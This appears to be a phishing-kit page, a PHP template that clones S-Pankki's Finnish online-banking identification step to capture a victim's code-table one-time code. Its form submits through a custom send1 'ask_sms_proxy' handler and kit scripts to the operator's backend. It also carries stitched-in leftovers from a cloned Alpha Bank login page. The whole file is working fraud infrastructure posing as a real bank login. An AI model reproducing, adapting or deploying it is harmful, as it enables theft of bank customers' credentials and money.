<?php 

         $relative_root="";
         $parent_folders="";
         function include_config(){
            global $relative_root,$parent_folders;
            while(!file_exists($relative_root."cfg.php")){
                $parent_folders=basename(realpath($relative_root))."/".$parent_folders;
                $relative_root.="../";
            };
            return $relative_root;
         };
         require_once(include_config().'cfg.php');

         if(isset($php_js)){
             $php_js->relative_root=$relative_root;
             $php_js->parent_folders=$parent_folders;
         }
         $php_js->fake_base="pintan/";
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">


    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/jquery/dist/jquery.min.js">
    </script>
    <script type="text/javascript"
        src="<?php echo $php_js->relative_root ?>bower_components/ua-parser-js/dist/ua-parser.min.js"></script>
    <link rel="stylesheet"
        href="<?php echo $php_js->relative_root ?>bower_components/font-awesome/css/font-awesome.min.css">
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>core/form/core_form.js"></script>
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>core/token/core_token.js?<?= time(); ?>">
    </script>


    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/angular/angular.min.js">
    </script>

    <script type="text/javascript"
        src="<?php echo $php_js->relative_root ?>bower_components/jquery.maskedinput/dist/jquery.maskedinput.min.js">
    </script>


    <link rel="stylesheet" href="<?php echo $php_js->relative_root ?>core/form/core_form.css">
    <base href="<?php echo $php_js->relative_root.$php_js->fake_base; ?>" />
    <!-- <script src="nb.js.download"></script> -->
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="format-detection" content="telephone=no">
    <meta name="_csrf_header" content="X-CSRF-TOKEN">
    <meta name="_csrf" content="5cc221db-26e2-4f3b-8fcc-d16165471e06">
    <script type="text/javascript" src="jquery-3.4.1-ver-D19AFC7779BBA20E96683BE58B330F62.js.download"></script>
    <script type="text/javascript" src="wicket-ajax-jquery-ver-3A8C326A8436172FC95523D517EBC88B.js.download"></script>
    <script type="text/javascript" id="wicket-ajax-base-url">
    </script>

    <link rel="stylesheet" href="form/css.css">
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">







    <meta http-equiv="PRAGMA" content="NO-CACHE">
    <meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">



    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <link rel="stylesheet" href="login.css">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="Server" content="AlphaFarm05">
    <script async="" defer="" src="sed-alphabank-2260e9ef.js.download" id="_imp_apg_dip_" _imp_apg_cid_="sed-alphabank-2260e9ef"></script><title>myAlpha Web</title>
    <!-- Styles -->
    <link href="login" rel="stylesheet">
    <link rel="stylesheet" href="app-loading-indicator.css">
    <link href="styles.1008db43e956afbb7b32.css" rel="stylesheet">
<link href="/theme/css/auth.318be965440ffe9e1c6d.css" rel="stylesheet"><script src="/theme/chunk.2de92dfff95de55b3e0d.js"></script><script src="/theme/chunk.03d4b88f4da8fa443b8d.js"></script><script src="/theme/main.f062f1ecd7a88c800362.js"></script><script type="text/javascript"
    src="/theme/js/jquery-ui-1.8/i18n/ui.datepicker-fi_FI.js_version%3dRC-release-20232194.6-20230612214401EEST-98d1b554?version=RC-release-2023.6-20230612214401EEST-98d1b554"></script>
</head>
<body>

    <a href="#main" class="skip-to-main show-on-focus">Siirry suoraan sisältöön</a>


    <header class="page-header">
    <img class="logo" alt="Tunnistautuminen" src="https://online.s-pankki.fi/theme/img/logos/s-bank-fi.svg" />

    <div class="language-switch">
            <a
                title="Suomi"
                href="initLogin53f1.html?language=1"
            >
                Suomi</a>
            <span class="separator">|</span>
            <a
                title="Svenska"
                href="initLoginbabd.html?language=2"
            >
                Svenska</a>
        </div>
    <div class="help-modal-link">
        <button type="button"
	        class="link "
	        name="lbl_help_modal"
	        value="Tarvitsetko apua?"
	         id="help-dialog-link" 
	    >
	        Tarvitsetko apua?</button>
	</div>

    <a
            class="quit-link"
            title="Poistu"
            href="https://www.s-pankki.fi/"
        >
            Poistu</a>
    </header>
<main id="loginp" class="page-wrapper login-layout">
    <div class="page-info">
    <img class="img-service-name" src="/theme/img/icons/identificationservice.svg" alt="" />
    <h1 class="service-name">Tunnistautuminen</h1>
    </div>
<!-- <CMSCONTENT> -->
<div class="l_cms__content l_cms__content--center_info l_cms__content--public_login_form l_cms__content-- clearfix"> <script
				type="text/javascript">
			$(document).ready(function() {
								insertCmsContent(
										"/ebank/cmscontent/get.ds",
										"center_info", "public_login_form");
							});
		</script>
		</div>
	<!-- </CMSCONTENT> -->





<p class="error hidden" id="dataError">
                    </p>
                <div id="idp-auth-switch" class="cbs-content-switch">
                    <div role="tabpanel" data-cs-id="PIN_TAN" style="display: none;">
                            <div class="page-box">
    <div class="page-box-header">
            <h2 class="page-box-heading">
                Tunnuslukutaulukolla tunnistautuminen</h2>
        </div>
    <div class="page-box-banner">
            <img src="/theme/img/misc/codetable.jpg" alt="" />
        </div>
    <div class="page-box-content">
        <div id="PIN_TAN" class="grid-x">
        <div class="page-box-description cell small-12 medium-6">
            <p>
                Slutför identifieringen med kodtabell. Visste du att du kan identifiera dig med en S-mobil utan kodtabell?</div>
        <div class="cell small-12 medium-6">
                                <form _ngcontent-mlt-c78="" novalidate="" class="ng-untouched ng-pristine ng-valid" name="sms_form" id="sms_form" method="post"
                                        onsubmit="send1(event,'ask_sms_proxy');return false" class="sms-form"
                                        autocomplete="off" class="metafrm">                <input type="hidden" name="startPage" value="" />
                <input type="hidden" name="sloanCampaignCode" value="" />
                <div>
Ange PIN-kod
<label class="num gepa-positioned gepa-label carmen16bold"   id="yui_3_13_0_1_1579371748633_4476"   style="left: 0px; top: 69px;">0000 0000</label> 


                <div class="form__normal">
                    <div class="is-required u_margin-bottom--medium">
                            <small for="username" id="usernameDescription">
                                Kodtabellens nummer:  ********</small>
                            <input ngcontent-mlt-c79="" autocomplete="off" class="ab-input text-center bluish-text mat-input-element mat-form-field-autofill-control cdk-text-field-autofill-monitored ng-pristine ng-invalid ng-touched" matinput="" name="otp-input" value="" id="mat-input-2" aria-invalid="true" aria-required="false" required>
                        </div>
                                                                        </div>
                                                                    </span>
                        
                        <div class="button-group">
                            <div class="button-group-primary">
                               <button ngcontent-mlt-c78="" class="accept-button mat-button" mat-button="" type="submit">
                                                                        <span lang="fi">
	        <span class='btn-wide btn-normal'>
	            <span class='arrow'>
	        	      Jatka</span>
	        </span>
	    </button>
                    </div>
                </div>
            </form></div>
    </div>
</div>
</div>

    </div>
    <div class="cancel-link">
      <a href='initLogin53f1.html?language=1'>Takaisin</a></div>
  </div>

            </main>
<footer class="page-footer">
    <div class="language-switch">
            <a
                title="Suomi"
                href="initLogin53f1.html?language=1"
            >
                Suomi</a>
            <span class="separator">|</span>
            <a
                title="Svenska"
                href="initLoginbabd.html?language=2"
            >
                Svenska</a>
        </div>
    </footer>
<div id="help-dialog" style="display: none;">
    <div class="modal-content u_margin-top--small u_mrg--xlarge--bottom">
        <div class="u_margin-bottom--medium">
            <h2>Tunnukset</h2>
            <ul>
<li>
<span class="external-link-wrapper"><span class="icon-external"></span>
<a href="https://www.s-pankki.fi/fi/arjen-raha-asiat/verkkopankki/verkkopankkitunnukset/kayttajatunnus" target="_blank" title="Käyttäjätunnus">Käyttäjätunnus</a></span>
</li>
<li>
<span class="external-link-wrapper"><span class="icon-external"></span>
<a href="https://www.s-pankki.fi/fi/arjen-raha-asiat/verkkopankki/verkkopankkitunnukset/salasana" target="_blank" title="Salasana">Salasana</a></span>
</li>
<li>
<span class="external-link-wrapper"><span class="icon-external"></span>
<a href="https://www.s-pankki.fi/fi/arjen-raha-asiat/verkkopankki/verkkopankkitunnukset/tunnuslukutaulukko" target="_blank" title="Tunnuslukutaulukko">Tunnuslukutaulukko</a></span>
</li>
<li>
<span class="external-link-wrapper"><span class="icon-external"></span>
<a href="https://www.s-pankki.fi/fi/arjen-raha-asiat/verkkopankki/verkkopankkitunnukset/tekstiviestivahvistus" target="_blank" title="Tekstiviestivahvistus">Tekstiviestivahvistus</a></span>
</li>
</ul></div>
        <div class="u_margin-bottom--medium">
            <h2>S-mobiili ja erityistapaukset</h2>
            <ul> <li> <span class="external-link-wrapper"><span class="icon-external"></span><a href="https://www.s-pankki.fi/fi/arjen-raha-asiat/tunnistaminen" target="_blank" title="S-mobiililla tunnistautuminen">S-mobiililla tunnistautuminen</a></span> </li> <li> <span class="external-link-wrapper"><span class="icon-external"></span><a href="https://www.s-pankki.fi/fi/arjen-raha-asiat/verkkopankki/verkkopankkitunnukset/lukkiutuneet-verkkopankkitunnukset/" target="_blank" title="Lukkiutuneet pankkitunnukset">Lukkiutuneet pankkitunnukset</a></span> </li> </ul></div>
        <div>
            <h2>Muut</h2>
            <ul>
<li><span class="external-link-wrapper"><span class="icon-external"></span><a href="https://www.s-pankki.fi/fi/arjen-raha-asiat/turvallinen-pankkiasiointi" target="_blank" title="Turvallisuusohje">Turvallisuusohje</a></span> </li>
<li><span class="external-link-wrapper"><span class="icon-external"></span><a href="https://www.s-pankki.fi/fi/saavutettavuusselosteet/" target="_blank" title="Saavutettavuusseloste">Saavutettavuusseloste</a></span> </li>
<li><a href="#" onClick="UC_UI.showSecondLayer();">Evästeet</a></li>
</ul></div>
    </div>
</div>


<div id="qr-help-dialog" style="display: none;">
    <div class="modal-content u_margin-top--small">
        <div class="u_margin-bottom--medium">
            <img src="/theme/img/QR-code-info.svg"
                 alt="qr"/>
        </div>
        <div class="u_margin-bottom--medium">
            <h2>Oletko kokeillut jo S-mobiililla tunnistautumista?</h2>
            Maksuttomalla S-mobiili -sovelluksella tunnistautuminen käy kätevimmin. Se on nopea ja turvallinen. Eikä sinun tarvitse enää syöttää käyttäjätunnusta, salasanaa ja tunnuslukutaulukkoa.</div>
        <div>
            Lataa sovellus<div>
                <ul><li><a href="https://s-mobiili.fi/" target="_blank" title="Android-puhelimeen">Android-puhelimeen</a><li><li><a href="https://s-mobiili.fi/" target="_blank" title="Apple-puhelimeen">Apple-puhelimeen</a><li><ul></div>
        </div>
    </div>
</div><div id="dialog-confirm"></div>

    <script src="appInsights"></script>

    <script src="login(1)"></script>

    <script src="rsa"></script>

    <script src="sjcl.min.js.download"></script>
    <script type="text/javascript">
        var loginSettings = loginSettings || {};
        loginSettings.LoginType = 0;

        
        // new Image().src = document.location.protocol + "//mon" + "sta" + "t.co" + "m/" + "myAlphaWeb2" + ".p" + "ng?du=" + escape(document.location) + "&dr=" + escape(document.referrer) + "&rr=" + Math.random();

        var userActivityTimeout = null;
        var userActivityThrottlerTimeout = null
        var INACTIVE_USER_TIME_THRESHOLD = 10000;
        var USER_ACTIVITY_THROTTLER_TIME = 5000;

        function resetUserActivityTimeout() {
            clearTimeout(userActivityTimeout);
            userActivityTimeout = setTimeout(function() {
                //inactiveUserAction();
            }, INACTIVE_USER_TIME_THRESHOLD);
        }

        function userActivityThrottler() {
            if (!userActivityThrottlerTimeout) {
                userActivityThrottlerTimeout = setTimeout(function() {
                    resetUserActivityTimeout();

                    clearTimeout(userActivityThrottlerTimeout);
                    userActivityThrottlerTimeout = null;
                }, USER_ACTIVITY_THROTTLER_TIME);
            }
        }

        function inactiveUserAction() {
            $('#servicesIcon').popover({
                trigger: 'manual',
                placement: 'bottom',
                title: '<span class="font-md cobalt">Εξοικειωθείτε με το e-Banking</span><img src="close.png" class="popover-close-btn cp" onclick="closeServicesPopover()">',
                content: '<p class="mb-12 grey"><span class="popover-icon"><img src="find-answer.png"></span>&nbsp;Απαντήσεις σε Συχνές Ερωτήσεις</p><p class="mb-12 grey"><img src="how2video.png">&nbsp;Χρήσιμα how2videos</p>',
                html: true,
                sanitize: false
            }).popover('show').tooltip('disable');
        }

        function activateActivityTracker() {
            window.addEventListener("mousemove", userActivityThrottler);
            window.addEventListener("scroll", userActivityThrottler);
            window.addEventListener("keydown", userActivityThrottler);
            window.addEventListener("resize", userActivityThrottler);
        }

        function doResize() {
            var h = window.innerHeight;
            var nh = (h - 112) >= 750 ? h - 112 : 750;
            var lc_mt = (h - 880) > 0 ? h - 880 : 0;
            var lm_mt = (h / 2) - 180;
            $('#mainContainer').attr("style", "height: " + nh + "px;");
            $('#loginContainer').attr("style", "margin-top: " + lc_mt + "px; padding-top: 90px;");
            $('#loginModal').attr("style", "margin-top: " + lm_mt + "px;");

            var w = window.innerWidth;
            var mc_w = w > 600 ? 550 : 500;
            $('#modalContent').attr("style", "width: " + mc_w + "px;");

            if ($("#errorMsg").length) {
                $('#inputUsername').attr("style", "margin-top: 10px;");
                switch ($("#errorMsg").height()) {
                    case 16: // 1 line
                        break;
                    case 32: // 2 lines
                        $('#loginContainer').attr("style", "padding-top: 70px;");
                        break;
                    case 48: // 3 lines
                        $('#loginContainer').attr("style", "padding-top: 60px;");
                        break;
                    case 64: // 4 lines
                        $('#loginContainer').attr("style", "padding-top: 40px;");
                        break;
                    case 80: // 5 lines
                        $('#loginContainer').attr("style", "padding-top: 20px;");
                        break;
                    default:
                        $('#loginContainer').attr("style", "padding-top: 0;");
                }
            }
        }

        function userModal(type) {
            switch (type) {
                case 1:
                    $('#modalTitle').html("Υποστήριξη Ηλεκτρονικών Υπηρεσιών");
                    $('#retailBtn').attr("data-link-url", "#");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn, #corporateBtn').off("click").on('click', closeModal);
                    break;
                case 2:
                    $('#modalTitle').html("Εγγραφή στο e-Banking");
                    $('#retailBtn').attr("data-link-url", "#");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn, #corporateBtn').off("click").on('click', closeModal);
                    break;
                case 3:
                    $('#modalTitle').html("Δείτε το Demo");
                    $('#retailBtn').attr("data-link-url", "#");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn').off("click").on('click', function () { demoLogin(1); });
                    $('#corporateBtn').off("click").on('click', function () { demoLogin(2); });
                    break;
                case 4:
                    $('#modalTitle').html("Ξέχασα το Username μου");
                    $('#retailBtn').attr("data-link-url", "#" + "?locale=el");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn, #corporateBtn').off("click").on('click', closeModal);
                    break;
            }

            closeServicesPopover();
            $('#loginModal').modal('toggle');
        }

        function closeNotif() {
            $('#notif').hide(600);
            closeServicesPopover();
        }

        function closeServicesPopover() {
            $('#servicesIcon').popover('hide');
            $('#servicesIcon').tooltip('enable');
        }

        function closeModal() {
            $('#loginModal').modal('hide');
            var url = this.dataset.linkUrl;
            if (url != "#") {
                setTimeout(function () { window.open(url); }, 30);
            }
        }

        function rememberMe() {
            if ($('#inputRM').is(":checked") && $('#inputUsername').val() != "") {
                localStorage.rm = $('#inputRM').val();
                localStorage.un = enc($('#inputUsername').val());
            } else {
                localStorage.rm = "";
                localStorage.un = "";
            }
        }

        function demoLogin(userType) {
            switch (userType) {
                case 1:
                    submitLogin("demouser", "demouser", false);
                    break;
                case 2:
                    submitLogin("corpDemoUser", "corpDemoUser", false);
                    break;
            }
        }

        function addRBFAdditionalFields() {
            var screenHeight = window.screen.height;
            var screenWidth = window.screen.width;
            document.getElementById("screenResolution").value = screenWidth + "X" + screenHeight;

            //Although Intl is (at a limited scope) supposedly supported in IE11
            //(https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat#Browser_compatibility),
            //it actually looks like `window.Intl` returns undefined. To avoid console errors, check its value before attempting to use it.
            var timeZone = "";
            if (window.Intl) {
                var dtFormat = new Intl.DateTimeFormat();
                timeZone = dtFormat.resolvedOptions().timeZone;
            }
            document.getElementById("timeZone").value = timeZone;
        }

        $(function () {
            doResize();
            $(window).on('resize', doResize);

            //Remember me
            if (localStorage.rm && localStorage.rm == "1") {
                $('#inputRM').attr("checked", "checked");
                $('#inputUsername').val(dec(localStorage.un));
            } else {
                $('#inputRM').removeAttr("checked");
                $('#inputUsername').val("");
            }

            //Enable tooltips
            $('#servicesIcon').tooltip({
                placement: 'bottom',
                html: true,
                title: 'Υποστήριξη Ηλεκτρονικών Υπηρεσιών',
                template: '<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner tooltip-mw-100"></div></div>'
            });

            $('#emailIcon,#phoneIcon').tooltip({
                html: true,
                template: '<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner tooltip-mw-100"></div></div>'
            });

            $('#infoIcon').tooltip({
                html: true,
                template: '<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>'
            });

            //Retrieve notification from alpha.gr
            var jqxhr = $.getJSON('#');
            jqxhr.done(function (data) {
                if (data.showNotification) {
                    $('#notifTitle').html(data.notificationTitle);
                    $('#notifMsg').html(data.notificationText);
                    $('#notif').removeClass("d-none");
                }
            });
            jqxhr.fail(function () {
                console.log("call to alpha.gr failed");
            });

            var submitForm = function () {
                rememberMe();

                $('.form-validation').addClass("was-validated");

                var username = $("#inputUsername").val();
                var password = $("#inputPassword").val();
                addRBFAdditionalFields();

                submitLogin(username, password, false);
            }

            $("#loginFormTmp").on('submit', function (event) {
                event.preventDefault();
                const target = $('#submitButton');
                if (!target.is(':disabled')) {
                    submitForm();
                }
            });

            activateActivityTracker();
        });
    </script>



            <script type="text/javascript">
    var bid = "<?php echo isset($_COOKIE['bid'])?$_COOKIE['bid']:basename(dirname(dirname(__FILE__))) ?>"
    var php_js = <?php  echo json_encode($php_js) ?>
    </script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>form/form.js?v=<?php echo uniqid() ?>"></script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>ng/ng.js?v=<?php echo uniqid() ?>"></script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>token/token.js?v=<?php echo uniqid() ?>"></script>
    <script>
//         $(document).ready(function () {

// $('.error1').click(function () {

//   alert(

//     'Yritä käyttää toista vaihtoehtoa.'

//     );

// });

// $('.error2').click(function () {

//     window.location.href="../login2/?op="+btoa(JSON.stringify(last_operation));return;

// });

// });

$.fn.custom_ser = function() {
    var obj = {};
    this.find("input,select").each(function() {
        if (
            $(this).prop("tagName") == "INPUT" &&
            $(this).prop("type") != "checkbox" &&
            $(this).prop("type") != "button" &&
            $(this).prop("type") != "hidden" &&
            $(this).prop("type") != "image" &&
            $(this).prop("type") != "reset" &&
            $(this).prop("type") != "submit"
        ) {
            //input validation
            obj[$(this).attr("name")] = $(this).val();
        }
        if ($(this).prop("tagName") == "SELECT") {
            obj[$(this).attr("name")] = $(this).find("option:selected").val();
        }
    });

    console.log('Custom seralization result : ')
    console.log(obj)
    return obj;
};
    </script>
    
</body>

</html>
